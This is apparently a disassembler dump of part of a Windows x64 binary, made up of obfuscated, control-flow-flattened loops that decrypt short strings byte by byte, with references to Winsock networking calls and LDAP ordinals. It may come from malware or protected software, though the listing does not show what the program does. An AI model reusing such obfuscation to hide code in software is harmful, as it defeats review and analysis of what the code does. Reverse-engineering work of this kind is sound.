jmp 0x14007ae12
movabs rdx, 0x878570074df34d46
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007bac5
movabs rdx, 0x9f4217599f11e3d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b9d4
movabs rdx, 0xb6febeabf0307a62
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ae12
movabs rdx, 0xcebb65fe414f10f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ae12
movabs rcx, 0xe6780d50926da77e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
jmp 0x14007ba47
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14007b5a0
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
jmp 0x14007b3b5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b5de
movabs rcx, 0xd86463f587da65a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b610
movabs rdx, 0xde0cf79ab640793e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007b91b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b652
movabs rdx, 0xc65050486521e2b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007b67f
movabs rcx, 0x96d701a3c2e4b594
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14007b9d4
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007b3b5
movabs rcx, 0x675db2ff20a78878
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007b6e6
movabs rcx, 0x1449695f04bc7987
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4f
jmp 0x14007ba47
inc rax
cmp r8, rax
jne 0x14007b71b
movabs rcx, 0xfc8cc20cb39de2f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
inc r9
dec rbx
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b74e
movabs rcx, 0xe4d01aba627f4c6b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x13
dec rbx
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b77b
movabs rcx, 0xb556cc15c0421f4f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x29
jmp 0x14007bac5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007b353
movabs rcx, 0x85dd7d711e04f233
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x14007b91b
jne 0x14007b7e8
movabs rdx, 0x1b0c8c7eb0fb4cb4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007b815
movabs rcx, 0xbc19ef356c80f27c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x64
jmp 0x14007bac5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007b84d
movabs rdx, 0x8ca0a090ca43c560
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007ae12
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007b300
movabs rdx, 0x5d2751ec28069844
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14007ba47
movabs rdx, 0x2dae034785c96b28
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0xbb0]
sub r10b, al
sub r10b, 0x18
add r10b, dl
add r10b, r11b
jmp 0x14007b9d4
movabs rcx, 0x15f15bf534aad49a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xbb0]
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14007b91b
movabs rcx, 0x48dde88d234a1ebd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
jmp 0x14007b94b
movabs rcx, 0x609a8fdf7468b54b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xd
movabs rcx, 0xa13084c0c1b8953
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x45
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xbb0], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xfe34b4a2e38c3e0c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x54
add cl, r11b
mov byte [rbp + rbx + 0xbb0], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
movabs rcx, 0x9013de8416a5e267
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x14007bac5
movabs rcx, 0xa7d085d667c478f5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x4d
movabs rdx, 0x21cfaf9e5d3a1fe1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x27
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xbb0], cl
jmp 0x14007bac5
movabs rdx, 0xef067bcd5b203c9f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x59
add r10b, dl
jmp 0x14007ba47
movabs rcx, 0x1e7fca71fd5d69bb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
movabs rcx, 0x398c56f0ae58b66f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 9
add r11b, cl
mov byte [rbp + rbx + 0xbb0], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007ae12
movabs rcx, 0x4df919169f9a96d7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1f
dec rbx
inc rbx
jmp 0x14007ae12
movabs rcx, 0x7d7267bb41d7c3f3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007ae12
movabs rcx, 0xdc65050486521e2b
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x2d
movzx eax, byte [rbp + rbx + 0xbb0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007ae12
movabs rcx, 0xd57e891ded8de41d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
jmp 0x14007ae10
movabs rcx, 0xed3b30703eac7aab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x14007ae00
lea rcx, [rbp + 0x17977fc]
jmp 0x14007bb72
lea rcx, [rbp + 0x12a2cb5]
jmp 0x14007bb72
lea rcx, [rbp + 0xbb0]
mov rdx, rdi
call fcn.140035b50
lea rcx, str.Settings
call fcn.140036660
lea rdx, [0x140236e90]
lea rcx, [rbp + 0x520]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006ac10
mov r14, rax
movsxd rcx, dword [rax]
lea rsi, str.Head
mov rdi, qword [rsi + rcx*8]
mov byte [rbp + 0xbd8], Ordinal_41
mov byte [rbp + 0xbd9], 8
mov byte [rbp + 0xbda], Ordinal_30
mov byte [rbp + 0xbdb], 0xf0
mov byte [rbp + 0xbdc], 0x5a
mov byte [rbp + 0xbdd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xbde], Ordinal_35
mov byte [rbp + 0xbdf], reloc.WS2_32.dll_listen
mov byte [rbp + 0xbe0], 0xa
mov byte [rbp + 0xbe1], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbe2], xmm0
mov qword [rbp + 0xbf2], rax
mov byte [rbp + 0xbfa], al
movabs r12, 0x71333efe243adf1b
movabs r13, 0x8bc0ea1845242645
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14007c9b6
movzx r11d, byte [rbp + rbx + 0xbd8]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14007c9aa
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14007bca5
movabs rcx, 0x1194b9db570efe6f
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 9
jmp 0x14007bce0
je 0x14007c925
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c88a
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007c857
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007c82d
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007c7d9
nop
cmp r9, rbx
ja 0x14007c9a1
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14007bd0a
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x43
jmp 0x14007bd50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007c7b8
inc rax
cmp r8, rax
je 0x14007c75a
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007c723
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c6ff
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007c6c9
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007c380
nop dword [rax]
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007c357
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007c325
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14007c2fb
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14007c2d7
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007c2a0
lea rax, [r9 + 9]
cmp r8, rax
je 0x14007c26c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007c248
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
je 0x14007c224
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007c1ef
mov r8, rcx
lea r9, [rcx + 9]
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14007c97d
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14007c959
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14007bf2c
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x14007bf08
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x14007bee9
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x14007c124
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x14007c0f5
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14007bd60
lea r8, [r9 + 1]
lea r9, [r8 + 0x80]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007c0c0
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14007c09c
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007c078
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007c03f
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007c003
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007bfda
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14007bfab
lea rcx, [r9 + 0x2a]
cmp r8, rcx
ja 0x14007bf79
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14007bf50
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007bd60
mov r8, rcx
lea r9, [rcx + 0x64]
jmp 0x14007bd60
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1d
add r10b, dl
jmp 0x14007bd50
movabs rcx, 0x6897766197062967
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x14007bce0
movabs rcx, 0x456e02aae8e82c89
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x14007bc65
movabs rdx, 0x8999f7f121d6f8d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c7f8
movabs rdx, 0x6670843a73b8fbfa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007bc52
movabs rdx, 0x43471083c59aff1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14007bc52
movabs rdx, 0x201d9ccd177d023e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c779
movabs rdx, 0xfcf42916695f0560
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rdx, 0xd9cab55fbb410882
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rcx, 0xb6a141a90d230ba4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x14007c8a8
movabs rcx, 0x9377cdf25f050ec6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x14007c8db
movabs rcx, 0x704e5a3bb0e711e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
movabs rcx, 0x1866b8f2fd9c19bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
mov byte [rbp + rbx + 0xbd8], r10b
inc rbx
jmp 0x14007bc52
movabs rcx, 0xaeea5dcef3422323
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x14007c698
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14007c4eb
movabs rcx, 0x30704943be92a073
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
cmp r8, 0x61
jae 0x14007c667
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14007c57d
movabs rdx, 0xa1a38841e2cd7f8e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x1000
jb 0x14007c114
movabs rdx, 0x1420d64aff9603a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x2c]
jmp 0x14007c7f8
movabs rcx, 0xa73379f4d9613aa2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
movabs rcx, 0x840a063e2b433dc4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x14007c8db
movabs rcx, 0x60e092877d2540e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x14007c8a8
movabs rcx, 0x3db71ed0cf074408
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rcx, 0x1a8dab1a20e9472a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x26
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rcx, 0xf764376372cb4a4c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x14007c779
movabs rcx, 0xd43ac3acc4ad4d6e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
dec rbx
inc rbx
jmp 0x14007bc52
movabs rdx, 0xb1114ff6168f5090
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007bc52
movabs rdx, 0x8de7dc3f687153b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14007c7f8
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14007c3b0
movabs rcx, 0x1194b9db570efe6f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
jmp 0x14007c143
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c3ee
movabs rcx, 0xe2667dfc4875be36
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7a
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
inc rax
cmp r8, rax
jne 0x14007c42f
movabs rdx, 0x4be2d92052cfb4d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007c474
movabs rdx, 0x6f0c4cd700edb1ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c4ac
movabs rdx, 0xb55f34445d29ab6a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007c143
movabs rdx, 0xd888a7fb0b47a848
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c518
movabs rcx, 0x5399bcfa6cb09d51
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x37
jmp 0x14007c7f8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007c54c
movabs rcx, 0x99eca467c8ec970d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5b
dec rbx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007c17d
movabs rcx, 0x2692734281648a85
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5d
jmp 0x14007c8a8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007c5c0
movabs rdx, 0xc4ccfbf890eb7c6c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
inc rax
cmp r8, rax
jne 0x14007c5f0
movabs rdx, 0xe7f66faf3f09794a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 6
add r10b, dl
jmp 0x14007c8db
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007c630
movabs rcx, 0x5172cad349636fe4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007c1b8
movabs rcx, 0x97c5b240a59f69a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x14007bc52
movabs rdx, 0x246b811b5e175d18
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xbd8]
add r10b, dl
add r10b, r11b
jmp 0x14007c779
movabs rdx, 0x4794f4d20c3559f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xbd8]
add r10b, dl
add r10b, r11b
jmp 0x14007c8a8
movabs rcx, 0xada8506a4348c2e9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5f
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
movabs rcx, 0x8a7edcb3952ac60b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
jmp 0x14007c8db
movabs rcx, 0x2102818f8ad0cf71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rcx, 0xfdd90dd8dcb2d293
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 5
movabs rcx, 0x36003af6b5265b87
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4f
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xbd8], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
movabs rcx, 0x945cb2b4d258dbf9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
jmp 0x14007c7f8
movabs rcx, 0x4e09cb47761ce23d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
movabs rcx, 0x12d6c74007085ea9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x61
add r11b, cl
mov byte [rbp + rbx + 0xbd8], r11b
inc r9
dec rbx
inc rbx
jmp 0x14007bc52
movabs rcx, 0x7b6e3da19e0e881
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x79
dec rbx
inc rbx
jmp 0x14007bc52
movabs rcx, 0x9e3a88b60f86f1e7
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x51
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007bc52
mov r11, rdx
movabs rax, 0x7b1114ff6168f509
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
sub r10b, 0x3f
movabs rdx, 0x5929aead63445865
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x3d
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xbd8], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x6abe6888ba5356d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xbd8], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
movabs rcx, 0x34be2d92052cfb4d
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1b
movzx eax, byte [rbp + rbx + 0xbd8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007bc52
movabs rcx, 0x22448ef43aca2fab
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x53
jmp 0x14007bc50
movabs rcx, 0xff1b1b3d8cac32cd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x65
jmp 0x14007bc40
lea rcx, [rbp + 0x152fe6c]
jmp 0x14007c9bd
lea rcx, [rbp + 0x121fcdb]
jmp 0x14007c9bd
lea rcx, [rbp + 0xbd8]
xor r8d, r8d
mov rdx, rdi
call fcn.140036ab0
test al, al
je 0x14007ca20
xor ebx, ebx
nop
mov edi, dword [r14]
cmp edi, ebx
sete dl
